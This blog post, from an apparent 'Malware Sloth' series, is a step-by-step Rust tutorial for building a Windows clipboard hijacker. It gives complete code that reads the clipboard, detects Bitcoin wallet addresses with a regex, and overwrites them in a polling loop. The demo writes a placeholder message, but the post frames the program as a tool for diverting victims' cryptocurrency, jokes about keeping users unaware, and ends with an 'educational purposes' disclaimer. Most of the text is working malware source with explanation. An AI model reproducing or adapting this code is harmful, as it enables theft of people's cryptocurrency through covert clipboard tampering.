How Malware Generates Millions with Just 60 Lines of Code: A Rust Developer's Guide to Clipboard Hijacking

How Malware Generates Millions with Just 60 Lines of Code: A Rust Developer's Guide to Clipboard Hijacking

·

9 min read

Introduction

Welcome back to Malware Sloth Developer Series, where we build the malware that infects thousands of users daily. This guide delves into a particularly simple tactic malware developers employ clipboard hijacking.

Clipboard Hijacking

Clipboard hijacking is a simple tactic cybercriminals employ to exploit users' reliance on copying and pasting cryptocurrency wallet addresses. By replacing legitimate wallet addresses with ones controlled by hackers, unsuspecting users unknowingly send their funds to the wrong destination. This tactic, executed with just a few lines of code, allows cybercriminals to siphon off cryptocurrency holdings and generate substantial income at the expense of their victims. By the time you find out, you sent the funds to the wrong place, it's already too late.

Developing the Malware

Reading Clipboard Contents

To initiate the process of clipboard hijacking, the malware first needs to intercept the contents of the user's clipboard. We are going to be focusing on Window only and using the winapi crate for this article, however for other distributions the concept stays the same. This function, read_clipboard(), accomplishes that task:

fn read_clipboard() -> Option<String> {
    unsafe {
        // Attempt to open the clipboard for reading using Window API
        if OpenClipboard(null_mut()) != 0 {
            // Retrieve a handle to the clipboard data in CF_TEXT format (plain text)
            let handle = GetClipboardData(CF_TEXT);
            // Check if the handle is valid (not null)
            if !handle.is_null() {
                // Convert the clipboard data, represented as a C-style string, to a Rust CString
                let c_str = CStr::from_ptr(handle as *const i8);
                // Convert the CString to a String, handling any potential lossy conversions
                let contents = c_str.to_string_lossy().into_owned();
                // Close the clipboard after retrieving the data to release system resources
                CloseClipboard();
                // Return the clipboard contents as Some(String) to signify success
                return Some(contents);
            }
            // Close the clipboard if no valid data is found to release resources
            CloseClipboard();
        }
        // Return None to indicate failure in opening the clipboard or retrieving data
        None
    }
}
  1. Opening the Clipboard: The function starts by attempting to open the clipboard using the OpenClipboard function from the Windows API. If successful, it proceeds to the next step; otherwise, it returns None.

  2. Retrieving Clipboard Data: After successfully opening the clipboard, the function called GetClipboardData retrieves the clipboard data, specifically in the CF_TEXT format, representing plain text.

  3. Converting to Rust String: If valid clipboard data is retrieved (handle is not null), it converts the data from a C-style string (*const i8) to a Rust String. This conversion involves using CStr and to_string_lossy() to handle potential encoding issues.

  4. Closing the Clipboard: Once the clipboard data is obtained, the clipboard is closed using CloseClipboard.

  5. Returning the Contents: Finally, the function returns an Option<String> containing the clipboard contents if successful or None if any step fails.

Writing to the Clipboard

Before diving into the code, let's establish why and how we will write to the clipboard. In our cryptocurrency application, detecting a wallet address in the clipboard and substantively offering our own requires direct manipulation of the clipboard's contents.

fn write_clipboard(data: &str) -> bool {
    unsafe {
        // Attempt to open the clipboard for modification.
        if OpenClipboard(null_mut()) != 0 {
            // Clear the clipboard contents to prepare for new data.
            EmptyClipboard();

            // Convert the Rust string to a C-style string.
            let c_str = CString::new(data).unwrap();

            // Transfer ownership of the string data to the clipboard.
            // The `into_raw` method is used to prevent Rust from automatically
            // freeing the string memory while it's being used by the clipboard.
            let ptr = c_str.into_raw();

            // Attempt to set the clipboard data with our string.
            if !SetClipboardData(CF_TEXT, ptr as *mut _).is_null() {
                // Close the clipboard after successful operation and return true.
                CloseClipboard();
                return true;
            }

            // Ensure the clipboard is closed if setting data fails.
            CloseClipboard();
        }
        // Return false if any operation failed.
        false
    }
}
  1. Initiate Safety Protocols with Unsafe Block: The operation begins within an unsafe block, highlighting that we're performing operations that could lead to undefined behavior.

  2. Gain Clipboard Ownership: The function calls OpenClipboard(null_mut()) to request ownership of the clipboard. This is the first real step towards modifying the clipboard's contents. Passing null_mut() signifies that the clipboard is not being opened in association with any specific window.

  3. Prepare the Clipboard: The clipboard must be emptied before new data can be set. EmptyClipboard() ensures the clipboard is clear and ready to receive new content.

  4. Convert Rust String to C-style String: Since the clipboard API expects a C-style string (CString), the provided Rust string (&str) needs to be converted using CString::new(data).unwrap(). This method also checks for null bytes (\0), which could cause the operation to panic, although this is a rare occurrence in typical use.

  5. Manage Memory with into_raw(): To prevent Rust from automatically deallocating the string memory after the function call (which would lead to undefined behavior), into_raw() is used on the CString. This transfers the ownership of the memory to the clipboard, ensuring that the memory remains valid for its use.

  6. Set Clipboard Data: With the data ready and memory management in place, SetClipboardData(CF_TEXT, ptr as *mut ) is called to update the clipboard's content. CFTEXT indicates that the data format being set is text, and ptr is a pointer to the actual data.

  7. Finalize and Clean Up: Whether or not the data setting was successful, it's essential to close the clipboard with CloseClipboard(). This ensures that the clipboard is not left open, which could interfere with other applications or subsequent operations. We don't want the user to know we are messing with the clipboard mistakenly ;)

Putting it all together

In the final development section of our exploration into manipulating the system clipboard with Rust, we'll integrate everything we've learned into a cohesive application. This application's core functionality is to monitor the clipboard for changes, identify specific patterns—such as cryptocurrency wallet addresses—using regular expressions (regex), and replace the detected content with a predefined string.

Understanding Regex for Wallet Detection

Regular expressions, or regex, are a sequence of characters that define a search pattern. They can be incredibly powerful for text processing tasks, such as validating input or searching for patterns within text strings. In our case, we use regex to identify Bitcoin (BTC) wallet addresses in clipboard content. Let's break down the regex pattern we use for this purpose:

(1[a-km-zA-HJ-NP-Z1-9]{25,34})|(3[a-km-zA-HJ-NP-Z1-9]{25,34})|(bc1[a-z0-9]{39,59})

This pattern looks complex at first glance, but it comprises simpler components. The pattern is three separate patterns combined with |, which in regex means "or." This means our regex will match if any of the three patterns are found in the string applied to.

Pattern 1:(1[a-km-zA-HJ-NP-Z1-9]{25,34})

  • 1: This pattern starts with a 1. In a BTC address, starting with a 1 signifies a certain type of Bitcoin wallet.

  • [a-km-zA-HJ-NP-Z1-9]{25,34}: This is the main part of the pattern. Let's break it down:

    • [a-km-zA-HJ-NP-Z1-9] means any character between a and k, m and z, A and H, J and N, P and Z, or a digit from 1 to 9. Notably, l, I, O, and 0 are excluded to avoid confusion due to their similar appearance.

    • {25,34} specifies the length of this part of the address. It must be at least 25 characters long and no more than 34. This ensures that the pattern matches only strings of a length typical for Bitcoin addresses starting with 1.

Pattern 2:(3[a-km-zA-HJ-NP-Z1-9]{25,34})

This pattern is almost identical to the first, but it starts with a 3. The rest of the pattern matches the same characters and length restrictions. Wallets that start with 3 represent another type of Bitcoin address, often associated with multi-signature wallets.

Pattern 3:(bc1[a-z0-9]{39,59})

  • bc1: This signifies the beginning of a Bech32 address, a newer format for Bitcoin addresses.

  • [a-z0-9]{39,59}: This part matches a string that contains lowercase letters (a to z) and digits (0 to 9), with a length between 39 and 59 characters. The Bech32 format has specific length and character requirements, reflected in this pattern.

Combining the Patterns

By combining these three patterns with |, our regex can match any of the three major types of Bitcoin addresses. When applied to a string, if any part of the string matches any of these patterns, the regex will consider it a match. This is how we use regex to detect Bitcoin wallet addresses in clipboard content.

fn main() {
    // Compile the regex pattern for detecting BTC wallet addresses
    let btc_regex = Regex::new(r"(1[a-km-zA-HJ-NP-Z1-9]{25,34})|(3[a-km-zA-HJ-NP-Z1-9]{25,34})|(bc1[a-z0-9]{39,59})").unwrap();
    // Initialize a variable to keep track of the last seen clipboard content
    let mut last_clipboard_content = String::new();

    // Enter an infinite loop to continuously monitor the clipboard
    loop {
        // Check for new clipboard content
        if let Some(contents) = read_clipboard() {
            // Detect changes by comparing with the last known content
            if contents != last_clipboard_content {
                println!("Clipboard changed.");
                // Update the last known content
                last_clipboard_content = contents.clone();

                // Use regex to check for a BTC wallet address in the content
                if btc_regex.is_match(&contents) {
                    println!("BTC Wallet Address Found.");
                    // Replace the clipboard content with our message
                    if write_clipboard("Malware Sloth was here.") {
                        println!("Clipboard content replaced with placeholder message.");
                    } else {
                        println!("Failed to replace clipboard content.");
                    }
                } else {
                    println!("No BTC Wallet Address found.");
                }
            }
        }

        // Pause for 5 seconds before checking the clipboard again
        thread::sleep(Duration::from_secs(5));
    }
}

Detecting BTC Wallet Addresses: First, we compile our regex pattern. This pattern is designed to match common formats of Bitcoin wallet addresses.

Last Seen Clipboard Content: We initialize last_clipboard_content to keep track of the clipboard's most recently detected content. This variable allows us to determine when the clipboard's content changes, minimizing unnecessary checks of static content.

Continuously Monitor the Clipboard: Our application enters an infinite loop, enabling it to keep running and monitoring the clipboard's content for changes.

Check for New Clipboard Content: Within the loop, read_clipboard() checks the current clipboard content. If new content is detected, we proceed to compare it with the last known content stored in last_clipboard_content.

Detect Changes: By comparing the current clipboard content with last_clipboard_content, we can efficiently detect changes. When a change is identified, we proceed with further actions, such as regex matching and possibly replacing the clipboard's content.

Check for a BTC Wallet Address: The compiled regex pattern is used to search the current clipboard content for BTC wallet addresses. This step is crucial for our application's core functionality, enabling us to identify and react to the presence of cryptocurrency addresses.

Replace the Clipboard Content: If a BTC wallet address is found, we then replace the clipboard's content with a predefined message, "Malware Sloth was here." This step demonstrates the application's ability to not just detect but also modify the clipboard's content based on specific criteria.

Pause: To avoid excessively frequent checks and potential performance impacts, we pause the loop for 5 seconds before repeating the clipboard monitoring process.

Conclusion

Big thanks for hanging in there with me! Your journey through these lines of code marks the end of another intriguing exploration. If this caught your fancy, stay tuned—there's more from where this came. You can find all the code presented here and other posts on Malware Sloth GitHub. Feel free to subscribe and share your thoughts. Your engagement truly means the world here. Looking forward to our next malware adventure together!

#SlothLife

Disclaimer
The content provided in this post is for educational purposes only. The author does not endorse or encourage any unethical or unlawful use of the information presented. Users are solely responsible for their actions, and the author bears no liability for any misuse of the material. Always adhere to ethical standards and legal guidelines when experimenting with cybersecurity techniques.